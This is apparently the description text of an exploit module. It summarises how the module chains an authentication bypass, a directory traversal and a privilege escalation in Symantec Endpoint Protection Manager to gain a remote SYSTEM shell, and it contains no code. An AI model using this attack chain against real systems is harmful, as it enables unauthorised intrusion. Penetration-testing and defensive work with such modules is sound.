        This module exploits three separate vulnerabilities in Symantec Endpoint Protection Manager
        in order to achieve a remote shell on the box as NT AUTHORITY\SYSTEM. The vulnerabilities
        include an authentication bypass, a directory traversal and a privilege escalation to
        get privileged code execution.
